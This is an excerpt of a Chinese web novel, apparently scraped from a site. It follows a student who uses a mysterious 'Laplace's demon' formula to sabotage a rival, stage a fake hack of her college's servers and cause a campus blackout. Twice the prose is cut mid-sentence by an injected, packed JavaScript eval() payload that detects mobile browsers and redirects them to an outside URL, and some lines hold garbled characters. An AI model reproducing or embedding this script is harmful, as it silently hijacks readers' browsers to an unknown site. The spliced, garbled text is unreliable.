乔伊目睹这一幕，提着的心微微放下：正如她所料，舆论开始在更宏大的“学院阴谋”上升温。一时间，关于“论坛爆料者究竟是谁”的问题被冷落了许多。甚至连校外的一些社交平台上，也出现了“某知名高校或存见不得光之遗留实验”的热门Tag。 然而，就在她以为一切正朝着她设计的方向发展时，新的麻烦却悄然来袭。某天下午，乔伊在图书馆里“例行自习”，试图伪装得与一切无关，却意外接到顾子衿的电话。“学姐，晚上有空吗？我想跟你见一面。就在老地方，咖啡馆。”他说得很简短，却透出一丝严肃。 乔伊握着手机，脑海里马上浮现出前几天他在礼堂后那种痛苦的神色。她原本不想赴约，担心对方已通过某种线索逼近真相，可转念又想，如果她拒绝，是否会让他更加怀疑？思忖片刻后，她决定应邀。 当夜七点半，她如约推开咖啡馆的木门，发现顾子衿已坐在靠窗位置。人的表情难测，他看似平静，实则眉宇暗藏焦虑。乔伊坐下，挤出一丝微笑：“你找我有事？” 顾子衿第一次没有先寒暄，直截了当地拿出一叠资料，轻轻推到乔伊面前：“你看看这个。”她低头一看，赫然是某些论坛爆料截图以及一份关于“旧档案S-21”的大致描述。更令她心惊的是，其中还夹着几段系统监控日志，上面列着多个可疑IP地址的出没时间。 她强忍心跳，故作不解：“你给我看这些做什么？”顾子衿叹了口气：“我受调查组委托，要来帮忙筛查这些可疑信息，看看能否找到所谓的‘幕后推手’。我不想怀疑你，可是近来所有线索都非常巧合地围绕着你转——或者说，你都似乎第一时间知道各种消息。” 乔伊面不改色地回答：“因为我平时也爱逛论坛和社交平台，看得多了，你也知道我信息渠道广。”顾子衿缓缓点头：“对，我知道你很聪明，也有本事躲开巡查。但你能告诉我——这些连续出现的匿名爆料，跟你有没有半点关系？”他盯着她，眼神里游移着企盼与挣扎。 乔伊低下头看那几份截图，心里电光火石地思量对策：若是硬否认，顾子衿肯定不会轻易罢休，毕竟他有高手般的直觉；但若稍露口风，他就可能顺藤摸瓜。最终，她决定用“感情攻势”来化解这紧迫时刻。她深呼吸一下，抬起头时，眼里已带些疲惫与伤感：“顾子衿，你为什么就是不肯信我？你从来都是关心我，我也相信你，如果我真的做了什么见不得人的事，难道我还能在你面前平静到现在吗？” 她这番近乎剖白的说辞，让顾子衿愣了片刻，也让他逐渐放松戒备。他喃喃道：“只是……现在学院里暗流涌动，大家都疑神疑鬼。我不愿你牵扯进去，更不想你冒险。如果你真清白，那就再帮我一起查这份资料，证明自己的清白，好吗？” 乔伊定定地看着他，心里却闪过自责的阴影。她知道自己越表现得坦荡，就越能让顾子衿内疚——他不会再怀疑，甚至可能主动帮她遮掩。可同时，她愈发强烈地意识到：自己离“清白”二字已隔着千山万水。她只能轻轻握住顾子衿的手，柔声说：“好，我帮你。”当她说出这句话时，脑中浮现的其实是另一个决心：我必须将你也纳入我的布局里，然后——对不起。 他们的对话继续了一会儿，似乎又回到以往的学术探讨模式。但乔伊心中明白，这只是暴风雨中短暂的一次柔和。若真到了关键时刻，她绝不允许任何人阻挡自己。 随着“编号S-21”在校园里被炒得沸沸扬扬，学生群体中已爆发出明显的恐慌与怀疑，学院领导也对外发布声明，称要对该档案进行“全面清查”，并请所有同学不要轻信网络谣言。然而，这种“正式通告”一点也没能平息激动的人群，反倒被各路“阴谋论者”视为“欲盖弥彰”。 乔伊知道，学姐必然不肯错过这次机会。果不其然，不到两天，学姐在校内某处悄悄召集了几名“相信她的知情人”，居然还想筹备一场“私下见面会”，意图公开抖出更多“能够查明幕后推手”的证据。 消息并非她本人亲耳听到，而是林忻在午餐后小心翼翼地告诉她：“乔伊，我在路上碰到一个同专业的同学，他说学姐最近在暗地里邀请人开会，看样子想发大招。你自己多留意。”乔伊面色一凛，连忙追问：“什么时候开会，在哪里？”林忻摇头：“不知道，好像很秘密，只是听说要搜集更翔实的监控资料和聊天记录。” 乔伊心里咯噔一下。她想起自己之前多次利用代理服务器或旧电脑发邮件、贴爆料，虽自认为处理得当，但难保学姐没法挖出更多细节。一旦学姐成功把这些碎片拼凑在一起，再拿到学院高层或顾子衿手中，会是什么后果？她忙问林忻：“你能再想办法打探更多信息吗？比如学姐想在哪天行动之类的。”林忻看她神情紧张，也没多问，只点头答应。 当晚，乔伊失眠了。她翻看手机时又看到那陌生ID发来的一行字：“你真以为你能赢过所有人吗？包括你自己。”言简意赅，却让她后背发凉。她回想起那天对顾子衿的半真半假，想起学姐那副咄咄逼人的身影，还有“拉普拉斯妖”轻声许诺的更深层能量……一切都像一张巨网，越拉越紧。 “必须先下手为强。”这是她最终的结论。她决定在学姐的“私下会面”前，先用“意外事件”把对方彻底绊住。她把公式平铺在桌上，将学姐的名字写进一个全新的推演变量里，然后心跳加速地研究如何用最小的动作引发最大的混乱——比如，让学姐自己出现“漏发信息”，或者让学姐在会面场合“摔毁所有证据”……她深深吸气，暗暗握拳：“对不起了，学姐。若要生存，我只能走到这步。” 第二天下午，乔伊得到确切消息，学姐的“私下见面”选在学院某处旧音乐教室进行。她也顺利地通过人际网和操作公式，安排了一个看似巧合的“突发状况”：当那几名想与学姐见面的学生快到教室时，突然接到教务处的紧急通知，说有“重要会议”要他们马上赶去。这样一来，学姐将被迫空等，错过最好的时机。 可乔伊并不满足于此。她还利用自己对档案室一位管理员的间接影响力，刻意让对方在当天上午传出“学姐曾多次违规出入档案室，疑似篡改材料”的信息。这样一来，学院领导担心学姐再做出不利举动，派出保安将她暂时带走谈话。结果——学姐精心准备许久的“见面会”就此化为泡影，也失去了一次可能曝光乔伊的良机。 下午五点，乔伊在书架后观察到那教室门口空无一人。她猜想学姐此刻应该在保安室接受盘问，根本无法展开行动。那一瞬间，她竟有种胜利的快感，也有一丝说不清的怅然：毕竟，这种隐秘操纵也在不断加剧她的罪责与不安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013878|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 然而，当她吃力地藏好自己时，却没料到一件意料之外的事——保安并没有扣留学姐太久，反而以“误会”之名让她离开。学姐并未放弃，仍执拗地赶到教室门口，见没人出现后，就在那里等了又等，最后攥着一叠文件，气冲冲地离去。 乔伊在暗处看着这一幕，心情有点复杂。她明知自己再度瓦解了对方的会面，但学姐也不会因此轻易散去。她们之间的暗战，宛如两只角力搏斗的猫，谁也不愿先松爪。她舔了舔干燥的嘴唇，一股无名的压迫感从胸口涌上来。或许，她必须准备更极端的手段，才能彻底阻截学姐的努力。 傍晚，乔伊刚回到宿舍没多久，就见林忻匆匆推门进来：“乔伊，你还好吗？外面传说很多学生都在找你……说你可能掌握什么线索？”乔伊一愣：“找我？干嘛？”林忻摊手：“大概有人觉着你消息灵通吧，也有人说你和顾子衿走得近，想问问你对编号S-21有什么看法。” 乔伊心跳略快，却表面轻描淡写：“唉，真是莫名其妙。你放心，我不会被他们纠缠的。”林忻点点头，忽而欲言又止：“你……最近和顾子衿怎么样？午餐时看到他，好像很忧心。” 乔伊一笑：“只是在学术上合作而已。他……可能因为调查组的压力有点焦灼吧。”她说着，脑海闪过刚刚发生的种种。她没法告诉林忻自己暗地里的布局，更无法坦白自己正让整个学院陷入疯狂。说到底，她也不知自己是怀着怎样的心继续选择这条路。也许，一开始只想证明自己不再是命运脚下的蝼蚁；可如今，为了维系虚假的平衡，伤害却在不断累积。 深夜十点，乔伊看着床头那本顾子衿给她的专业书，忽然想起要翻翻最新的研究进展。她打开后，翻到中段，竟然发现了一张便笺纸，上面是顾子衿的字迹：“学姐，如果你真的需要帮助，请跟我说实话。别把我关在门外。”字句间是温厚与关切，让乔伊心头一震。她抚摸那张纸片，眼眶忽然发酸。 可只是片刻，她便悄悄合上书，再度将那点柔软埋进黑暗深处。她对拉普拉斯妖的召唤越来越熟稔，对下一阶段的更大胆操作也产生了轮廓：或许是时候让“外部势力”真正“露面”，比如伪造一个黑客攻击或电脑故障，让学院再陷混乱……这，才是她的生存之道。而顾子衿的关心，只能暂且藏入心底。 两天后的一场深夜——学院服务器莫名出现宕机，官网一度无法访问，许多院系的系统管理页面遭到篡改。随后，有帖子传出“神秘黑客宣言”，甚至留下真假莫辨的签名。瞬间，全校轰动。学院领导雷霆震怒，怀疑是“外部势力”的又一次挑衅。学生群里一片恐慌，纷纷议论是否有人要把S-21彻底公之于众。 乔伊站在电脑屏幕前，打量着自己才写好的几行加密代码——她借用顾子衿的部分研究范式，以公式牵引“概率事件”的方式，让学院的防火墙在极短时间内遭遇严重碰撞，从而实现了这次“看似专业黑客所为”的故障。她看着论坛上的惊呼与转发，抿紧嘴唇，感到一阵冷酷的欢愉。是的，这就是她希望看到的，所有人再次陷入对“外部势力”的揣测，对于“幕后推手”究竟是谁的追查似乎又被冲淡了。 然而，她的手还按在键盘上，怎么也无法忽视内心那一声叹息：她真的要把一切都摧毁，哪怕包括她曾眷恋的微光与温情吗？她咬紧牙关，再度提醒自己：回头已没有路。 与此同时，学姐没有停止行动。即便保安室那次谈话导致她被警告，但她依旧在努力。或许是出于某种直觉，她暗中联系上一位技术员，试图调取那次“黑客攻击”的某些源端痕迹。乔伊从别处得知这件事后，心中一慌：如果学姐真找到蛛丝马迹，说不定就能把这一切同她的操作方式对上号。她开始想象：若有朝一日，学姐与顾子衿联手，拿着确凿数据揭穿自己，那会是怎样的可怕结局？ 当夜，拉普拉斯妖再次在她耳边低语：“你还会恐惧吗？你明明想要更高维度的力量，为什么还在动摇？你与其步步退让，不如让这座学院彻底陷入无法收拾的混沌。到那时，人们再无暇解析某个你是否是元凶，他们只会在无边无际的疑惧里祈求救赎，而你……将成为站在高处的那个人。” 乔伊闭上眼，轻声说：“我只是不想伤害那些无辜的人。”拉普拉斯妖轻笑：“可他们也不会在乎你的苦衷，只要能自保，兴许下一个抛弃你的人就是他们。做好准备吧，你将在黑夜里点燃一簇簇火焰，引出看不见的烈风。” 乔伊深呼吸，似在下极大的决心。是的，她已付出太多。若学姐依旧穷追不舍，那就只能更狠地斩断后患。哪怕真的——将学院变成一座风暴之巢，让所有反对她的人全都深陷其中…… （本章完） 就在她满腹心事、夜不能寐时，顾子衿的手机消息突然跳了出来：“学姐，情况似乎越来越严重。你要答应我，无论如何，别伤害自己。”简短的话却宛如一柄利刃插进她的心。她凝视屏幕，良久未敢回复。她知道，自己终将在情感与欲望的漩涡里做出新抉择。只是，下次再见面，还能维系哪怕半分的坦诚吗？ （下章预告） 学姐也许已接近核心真相，顾子衿的态度却显得左右为难，而陌生ID对乔伊的步步紧逼更令她不堪重负。在更猛烈的“学院危机”即将到来之际，乔伊还会如何运用她手中的“命运之钥”？当一切再难挽回，她终将选择与拉普拉斯妖一起，坠入更深层次的黑暗，还是从良心与爱中觅得一线生机？更危险的“连锁事件”将被引爆，而真正的命运终局，也已近在眼前…… 6. 荆棘之途 在学院礼堂那次惊天动乱和随之而来的黑客攻击之后，校园里看似恢复了些许平静，但任何一个微小的动作都像被无限放大，构成新的风吹草动。乔伊站在宿舍楼下，抬头仰望昏黄的路灯，思绪纷飞：她曾用“神秘外部势力”的幌子诱使学院官方手忙脚乱，也曾利用概率公式牵引出“网络故障”“学姐受阻”“S-21文档争夺”等接二连三的事故。可她不知道，自己还能在这场复杂博弈中继续坚持多久。 夜风吹过，带来丝丝凉意。乔伊提着一袋文件，里面是她刚刚从图书馆和资料室里复印来的若干文本。其中有关于S-21那份档案的旧时背景记录，也有学院早年的一份实验申请流程。这些资料看似杂乱，却在她的无形推演下形成了一条堆满干柴的燃线，只待她再点上一把火。她隐隐感觉到，一个更可怕、更彻底的“混乱局面”正在被她亲手酝酿出来。 过去几天里，关于那场黑客攻击和论坛闹剧的传言依旧热度不减，但更多人开始怀疑学院内部可能早已“混进”了神秘组织。学姐却在此刻再度出现。她这一次似乎更加谨慎，甚至放弃了大张旗鼓地组织“集体揭发”，转而私下约见部分关键人物，力图把那天被打断的“证据展示”重新搬到台面上。 乔伊从学院小道经过时，正好撞见林忻匆匆赶来告诉她：“乔伊，我刚得到消息，学姐今晚要跟好几位同学见面，地点换成了旧图书馆后的小教室。她不让场面闹大，打算直接把手头的新证据交给某位学生代表，再由对方联络校领导。” 乔伊愣了愣，心想学姐真是死咬不放。这位学姐或许并不清楚全部真相，但显然已汇聚到了大量线索，只待某个恰当时机就能掀起腥风血雨。倘若让她成功把证据交给那个学生代表，学院高层必然意识到许多“巧合事件”的离奇之处，再去全力排查——到那时，乔伊的一切都将无所遁形。 她强迫自己保持冷静，问林忻：“你知道那位学生代表是谁吗？”林忻摇头，“目前只知是学生会新晋骨干，好像跟顾子衿也有些关系。”听到这个名字，乔伊的心猛地一跳：顾子衿，这个人是她最放不下的牵绊，也是她最害怕的利刃。万一顾子衿参与学姐的行动，或者由他来接收证据，那么自己先前对顾子衿所做的一切努力都可能付之东流。 送走林忻后，乔伊在沉思片刻后决定：必须先发制人。她翻看公式纸，想要找到一个可以“搅局”的概率点。此前几回，她都依赖拉普拉斯妖给出的指引，利用些意料之外的事情打断学姐的计划；这一次，她要做得更彻底一些。于是，她随手写下几个日期与数字，尝试演算一段“意外缺席”的剧情：让那几位要与学姐见面的学生临时出现某种“集体突发状况”，无法赴约。 但在她做推演时，却发现公式某些位置被涂改得异常熟悉，却又并非她本人所留。她猛地幽寒一颤——难道有人曾偷看她的笔记，并且依照自己的意志改动了部分数据？那陌生ID？还是拉普拉斯妖本身的某种“痕迹”？乔伊此刻不能多想，她只能选择继续往下推导，尽力令一切朝她预想的方向走。她心想，只要这次能再次阻止学姐成功，她就能赢得更多喘息时间。 当乔伊忙着“排雷”学姐时，顾子衿这边的调查组工作也在如火如荼地进行。据说学院高层已经对近期的所有网络异常、电子信息流进行重新审计，甚至请到了外校的安全专家进行技术排查。表面上，他们声称只是为防止“神秘组织”继续破坏，但乔伊心里清楚，这一次若真的动用专业技术团队，自己那看似天衣无缝的代理手段未必能过关。 某天下午，她在校广播台外面看见了顾子衿。他手里抱着厚厚一叠资料，看起来有些疲惫，却依旧显得沉稳内敛。乔伊犹豫片刻后，还是走上前打了个招呼：“还忙吗？” 顾子衿转头看见她，先是微露喜色，随即语气变得复杂：“是啊，最近学院乱成这样，我也被迫连轴转。对了，你……还好吧？”那你字咬得极轻，却藏着一丝担忧。乔伊心里陡然酸涩，却只能镇定道：“我能有什么事啊？就是跟以前一样，看看资料、写写论文。” 他盯着她看了几秒，似乎想从她神情中看出什么端倪。乔伊勉强笑了笑，以示自己并无异状。顾子衿微微转头，视线落到那条阴暗走廊上：“听说学姐又在活动了，你有没有受到什么影响？” 乔伊摊手，故作轻松：“怎么会呢？我又不是什么关键人物。”她故意避开顾子衿炽热的目光，生怕对方看透自己内心那层心虚。可顾子衿并没有就此放弃，他对乔伊低声说：“如果……你有什么难言之隐，你可以告诉我。我知道最近很多人都在背地里传奇怪的话题。若你被波及，我会尽力保护你。” 她的心像被利刺轻戳般颤了一下。她很想问顾子衿：如果某天你发现幕后的推手恰恰就是我，你是否还能保持这份保护欲？但她想不出答案，也没有勇气把真相摆到明面上。她只能礼貌一笑，点点头：“谢谢你的关心，不过目前我很好。” 接下来，顾子衿似乎欲言又止，终究没有多说。他匆匆道别，抱着那叠文件离去。那背影消失在楼梯转角，乔伊忽然感觉自己快要呼吸不过来。若非她早就溺入深渊，她真想就这样把一切告诉顾子衿，让他来力挽狂澜，可一旦那样做，她就再也无法保证自己的安全。 她攥着手，决定不能再犹豫。今夜学姐那场“私下会面”，必须毁掉。 深夜时分，学院里一场突如其来的“配电系统故障”令全校停电数小时，所有教学楼与图书馆都陷入漆黑。学生们纷纷涌到宿舍窗边看热闹，猜测这是又一场“外部势力”的“警告行动”，再度激发了全校所有的恐慌与猎奇心。 而暗处的乔伊，看着这场恰到好处的“停电”，内心却极度紧绷。她用尽办法改变了些关键节点，令负责维护电力的技术人员在此时段恰巧外出，再加上某个电源开关被“意外触发”，最终酿成了这场大规模停电。她本想通过停电来干扰学姐的会面，让现场无法正常照明、设备无法使用，最好让学姐和那几位同学都直接空等。 然而，聚在旧图书馆后排小教室的人却并未散去。据林忻说，他们事先备了应急灯和手电筒，各自拿着纸质文件，就这样在黑暗??????继续交流。学姐的坚韧与预判让乔伊的“搅局”没能完全达到效果。 乔伊咬牙，只能继续启动“备用计划”。她匆匆戴上帽子与口罩，借着夜色潜入那道偏僻走廊，打算亲自窥探对方状况，也好当断则断。她深知这样做极其危险，她可能会被当场撞见，但她必须赌上一把，否则一旦学姐把证据交给那名学生代表，她所有精心编织的谎言都将撕裂。 她蹑手蹑脚地靠近小教室，里面隐隐传出细碎声响。透过昏暗灯光，她看到学姐正与几个人围坐在桌前，中间摆着厚厚一叠资料：那或许包含了乔伊利用代理服务器时遗留的一些线索，或许也记载了黑客攻击的某些技术痕迹。学姐翻动资料页，压低声音说：“只要我们把这些文件提交给院方安全专员，就能锁定相应的IP节点……那个人绝对跑不掉。” 乔伊心脏狂跳，几乎就要冲上去撕掉那叠文件。但她还未做出进一步举动，教室里原本安稳坐着的一位学生却突然“啊”地痛呼一声，整个人从椅子上滚倒下来。众人惊慌地涌过去查看，连学姐也愣住了。那学生抱着肚子，面色蜡黄，一看就像急性腹痛或食物中毒。 乔伊望着这一幕，几乎难以置信：她确实在公式推演里打算安排某个突发事件来干扰会面，但她的目标是让这几个学生的手机临时故障，或者是让他们来不及到场。没想到在现场竟有人突发意外，很可能真的是身体出现紧急问题。 教室里乱作一团。最终，学姐等人只得匆忙收拾资料，先把那名痛苦不堪的学生送去校医务室，这场危机四伏的“交换证据”不得不暂告终结。乔伊藏在门缝后，长吁了一口气：一切混乱的走向，至少让学姐没能立即交出证据，对她而言算是一场“勉强的胜利”。 可就在她准备离开时，忽然感觉身后有一道目光正死死盯住自己——她蓦地转头，黑暗里似乎闪过一抹人影。她看不清对方是谁，但几乎可以肯定，那个人绝非路过。那道阴冷的目光令她寒意直冒。她拔腿就逃，不敢回头。她不知那是陌生ID或是学姐的同伴，也可能是某个恰巧经过的好事者，总之，她现在不想被任何人认出。 回到宿舍后，乔伊用冷水猛浇脸，试图让自己保持冷静。她替自己解了围，可也无法掩饰更加剧烈的不安：若是刚才那学生只是恰巧发病，那么公式对现实的干扰是不是也在偏离她的初衷？一次次地，她感觉自己正被拉普拉斯妖那股神秘而危险的力量牵引到不可预测的方向。 乔伊坐在桌前，打开随身带回的文件袋。里面记载着她调取的S-21档案早年背景：这些写满手写批注的纸张上，似乎蕴含着一些扑朔迷离的信息，暗示学院当年曾有过现实与虚拟结合的实验项目，试图通过“高维运算公式”来影响决策者的选择。乔伊一想就后背发凉——难道拉普拉斯妖源自的其实就是这份更古老的“研究”？她越想越觉得荒诞，却又不得不相信，因为自己亲身体验了这份力量的诡异之处。 正当她翻看资料时，手机忽然亮起，陌生ID发来一条短讯：“你在玩火。即使你操纵再多‘意外’，也无法逃避最根本的报应。拉普拉斯妖也许能赐你奇迹，但别忘了，它可从来不是神，只是一头蠢蠢欲动的野兽。” 乔伊盯着这行字，一股难言的恐惧蔓延心头。她不知道对方是敌是友，但对方的存在就像一面镜子，令她一次又一次看到自己的黑暗，也看见无法停止的脚步。 这时，拉普拉斯妖的“声音”轻抚她耳畔：“你还在怀疑什么？我们已经一路同行到这里。你若放弃，之前所做的一切就会反噬而来；你若继续前行，就能攀上更高的维度，利用命运之力掌控全局。难道你不渴望那种至高无上的掌控感吗？” 乔伊屏息良久，感觉心头既火热又隐痛。她想起顾子衿几次对她的关切，也想起与学姐的刀光剑影。她知道自己似乎已经无法悔改，她只能继续伪装下去，直到最后一步。于是，她收起那份档案资料，喃喃自语：“不管怎样，我都要先保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013879|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全自己。” 翌日早晨，乔伊来到学院小花园，为的只是散散心，却没料到迎面遇到顾子衿。他似乎刚结束某个会议，手中还拿着一份文件。两人在□□上不期而遇，都愣了一下。 “你昨晚……可没被停电影响？”顾子衿主动开口，想缓和彼此的气氛。 乔伊故作轻松地耸耸肩：“我也正庆幸自己没有被困在电梯里，倒是你，看起来很累的样子。” 顾子衿苦笑一声：“哎，这两天一直在跟进学院和外部安全组的对接。你也知道，最近风声特别紧，我们甚至怀疑有内鬼……”他说到这里，却突然住口，好像怕吓到她。 乔伊心里却咯噔一下，表面依旧淡然：“我听说也要请外校专家来协助。希望能早点把那些乱七八糟的‘入侵者’揪出来。”她心想，只要自己再多做些隐蔽措施，应该还不至于暴露。可这番谈话还是让她有些心虚。 两人沉默了片刻，顾子衿看着她，问道：“你相不相信学姐会握有关键证据？”他显然想听听乔伊的意见。乔伊避开那双探询的眼睛，轻描淡写：“不知道。学姐手里确实有些东西，可她也可能夸大其词。” 顾子衿叹口气，“她曾找过我，但我没能给她任何承诺。其实，我更关心你，你知道吗？”这句话说得极温柔，却让乔伊心头一酸。顾子衿缓缓走近一步，低声说，“不管外面再乱，我都希望你安全。” 乔伊勉强展颜，心中酸苦难消。她不知道自己究竟该何去何从：一边是不停被推向更高维度的可怕力量，一边是暖在心底又随时可能破碎的情谊。她吞下那一口苦涩，艰难地说：“我会好好保护我自己……谢谢你。” 下午的时候，学院高层发布了一则紧急通知：决定联手一家专业信息安全公司，对校内各处服务器、公共电脑进行全盘检测，并对所有学生的电脑登录日志进行排查。再加上那场“旧图书馆会面”被小范围传开，这让不少人意识到：真正的“大干戈”就要来了。无论是学姐手中掌握的线索，还是“背后组织”的种种行动，或许立刻就会摊在阳光之下。 乔伊看着那条通知公告，心里的压力瞬间暴涨。她明白，若是技术团队深入调查，迟早会发现她透过代理服务器发帖和发送匿名邮件的部分痕迹——许多她以为干净的措置，可能依旧留存着某些证据。她必须抢在对方之前毁掉或篡改所有危险信息。可在这座密布监控的校园里，她还有几分胜算？ 当夜，她重新拨通那台旧笔记本，想做最后一次彻底“洗线”，却发现系统接口时不时出现卡顿，就像有看不见的屏障在阻拦她。她心跳被提到嗓子眼，额头冷汗淌下：这难道是外部安全队已经悄悄潜入，并截获了她的系统？她不能再做任何操作，否则自投罗网。 当机立断，她拔掉网线，删掉硬盘里所有可见的痕迹，再把笔记本藏进包里。她原本想立刻毁掉它，却还是心有不舍——里面还有她之前全部推演过程和备用公式资料，这是她屡次“赢”过学姐的关键武器，一旦毁掉，就无法再进行更深入的概率操作。 就在她左右为难时，拉普拉斯妖那声音再次苏醒在脑中：“还记得我说过的吗？把学院变成无法收拾的混沌，他们就再也无力来查你的问题。你惧怕外部调查，不如把外部调查也纳入你的剧本。让他们卷进更极端的风暴，这样反而谁都无法追溯真正源头。” 乔伊怔了片刻，感觉自己握紧那个沉重的包，如同握着炸弹。“我真的要这么做吗？”她轻声问。拉普拉斯妖讥诮地笑：“难道你还有退路？你那一点点自责，不过是脆弱的良心残渣，撑不到最后的胜利。” 四周是死寂的夜，她仿佛在跟自己对话。她迟疑的瞬间，手机却再度亮起——这一次，是顾子衿发来的急讯：“乔伊，学院已经开始排查，若你有什么文件需要我帮忙保管，尽快告诉我……我不问原因，只想帮你。” 乔伊看着那条信息，手心冰凉。这是顾子衿对她仅存的信任和情感，她可以用这点信任让自己暂避风头，也可以轻易毁了顾子衿的声誉。但假如顾子衿发现她做的一切，绝不会原谅她。她仰头深呼吸，强忍着那股苦痛，把手机放到一旁，最终什么也没回。 （本章完） 夜色中，她轻声对自己说：“也许，我只能带着拉普拉斯妖锁定下一步操作。要彻底摧毁学院对我的追查，又要护住我内心最想守护的那点温柔。这是一个悖论，可偏偏我也要赌。明天……让我们试着打破一切。”她目光中透着孤注一掷的狂热，也透着难言的怅然。就在窗外的阴影里，一道纤细的人影默默伫立许久，那是一双熟悉的眼睛，带着痛苦与失望，在黑暗中一点点隐去。 （下章预告） 全面排查即将浮出水面，学姐手中的证据又会否集齐最后拼图？顾子衿能否看穿乔伊的“自相矛盾”并伸出援手，或是第一个将她绳之以法的人？而拉普拉斯妖的高维引导越发凶险，乔伊离崩溃的边缘只差一步——当一切都交叠成一张巨大的网，究竟谁会是最先挣脱者，谁又会跌入命运的漩涡？下一场更疯狂的对决，即将展开…… 7. 混沌之息 自那场轰轰烈烈的学校论坛“瘫痪事件”过去不过短短几日，学院里就像从烈焰里拔出的半截柴薪，表面看似熄灭，内里依旧频频冒着暗火。对于乔伊而言，这份“阴燃”的状态比山呼海啸般的混乱更令她难以安心。她仿佛正置身于某个巨大牢笼，四面墙壁缓缓收紧，给她留出的空间越来越小。 那一夜，她趴在宿舍桌前，浏览最新一轮学院公告：校方已正式邀请外部信息安全单位进驻，配合学校自己的技术团队展开全方位排查。所谓“全方位”，不仅包括教学楼与图书馆的所有公共网络设备，也包括全体在校师生的网络登录日志。尽管校方声称会尊重个人隐私，不会擅自查阅私人物品，但乔伊非常清楚，要挖出点蛛丝马迹对这些安全专家而言并非难事。 她忽然想起那位被学姐秘密联络的“技术员”，以及与此同时活跃在这一连串事故里的陌生ID。或许那位技术员已经帮学姐拼凑起所有线索，只差一点证据就能实锤“大神通”背后的幕后者是她；而那个陌生ID更像是在看她笑话，它隐于暗处，不断利用各种方式挑逗乃至干扰她，好似一只灵巧的猫戏弄着随手捕获的老鼠。 她合上电脑，泄气地靠在椅背里。恍惚之间，她又看见窗外的路灯在静夜里微微闪烁，记起数日前那场助她乱中取胜的“全校停电”。是的，她曾用游戏般的态度，借拉普拉斯妖的公式推演，引起了关键工位的人事变动与电源开关的无人值守，从而令学姐紧要关头的“证据交换”被迫延期……可现在看来，那无疑只是暂时的胜利。学姐显然不会知难而退。“若要摆脱她，就必须一招制胜。”乔伊在心里对自己如此说。 然而“一招制胜”究竟意味着什么？她想起拉普拉斯妖不止一次地在耳边低语：“将混乱再度提高一层。让学院所有人都陷入你亲手编写的迷局。当他们自顾不暇时，谁还会来仔细追查你？”乔伊总觉得这个建议过于极端。她已经让学院陷入过多次舆论失控、技术宕机、真相混淆，若再进一步，便真要让这座校园沦为无法收拾的修罗场。可怕的是，她愈发觉得自己正在被逼到死角：或许除了放手一搏，她再无别路可走。 她把抽屉里的复印件一份份摊开，里面是她此前收集的某些学院机密：S-21项目的早期实验笔记，岛田教授关于“概率干预”的论文遗稿，以及其中隐约提到的“L-demon”理论。若仔细阅读，会发觉这份理论与“拉普拉斯妖”有着千丝万缕的联系。岛田教授似乎认为，这种“妖”并非完全虚构，而是一种建立在高维数理推演基础之上的“信息集合”，能够一定程度影响现实事件可能性的分布。每当乔伊翻看这些资料时，都能感受到一种无法言喻的冰冷——她曾经还以为自己能操纵拉普拉斯妖，时至今日，她却开始怀疑自己才是被操纵的那个人。 清晨来临时，她没有合眼。只是简单收拾一下，就硬撑着去了教学楼。一路上，她发现气氛比想象还要紧张：几个穿着外部公司制服的人在校园中央安置了简易检测仪器，还有同学在一旁围观。校广播里接连播放着“配合安全排查”的温馨提示。乔伊一路脚步急促，生怕有人突然冲到她面前喝令检查她的电脑和U盘。可事实上，并没有人把她列为首个对象——还不至于。她长出一口气，却仍不敢掉以轻心。 在通往实验楼的走廊里，她意外碰到了顾子衿。对方似乎刚结束一次例行会议，抱着一摞文件，神色间带着些疲惫和焦虑。看见乔伊时，他明显顿了顿，似乎正犹豫是否该上前攀谈。乔伊也想绕道而行，可她终究无法忽视那双满溢复杂情绪的眼睛。于是，她只得上前露出淡淡的微笑：“你……要去忙吗？” 顾子衿张了张口，低声说：“是啊。最近太多意外发生，学院领导也很头疼。”他指了指怀里的文件袋，“有些是与外部安全人员对接的材料。对了……你呢？事情多不多？” 乔伊心底掠过一丝酸楚。这原本是再平常不过的关心话语，而今落在她耳中，却让她愈发心虚。她只能佯作轻松说：“嗯，跟以前差不多，还要准备报告。” 顾子衿眼底闪过一丝忧郁：“若你遇到麻烦，或是被人误会，我可以……帮你澄清。大不了我去找领导说明情况……” 乔伊怔住，她不知这句话究竟暗示什么。是顾子衿仅仅想帮忙，还是他已嗅到她与黑客攻击有牵连？她强装镇定地轻轻摇头：“没事，真的没事。你先忙你的吧。” 两人对视片刻，他似乎还想再说什么，却只是叹了口气，抱着文件匆匆离去。那背影渐行渐远，乔伊却止不住地想：若顾子衿真的发现真相，他会怎么看她？她还记得当初自己是怎样小心翼翼地与他走近，甚至露出过自己柔软的一面。可自从她与拉普拉斯妖“结合”之后，一切都变了。她不能再坦然地接受无线温柔，也无法在学姐的追查下保留纯真的友情。她的心，早已皲裂。 没过多久，林忻快步跑来：“乔伊，学姐又发消息了。她说让你别再做无谓挣扎，说你要是回头还来得及。” 乔伊嗤笑：“她消息还真多。她凭什么觉得我会听她的话？” 林忻又道：“她好像联系了不止一个人，这次似乎要把之前的破绽线索整合交给外部专家团队。她说这是最后时刻，‘某个人’若愿意主动站出来，还能得到宽容。” 那“某个人”八成就是乔伊自己。她一瞬间指尖泛冷，却面不改色：“随她去。我们走一步看一步。?????? 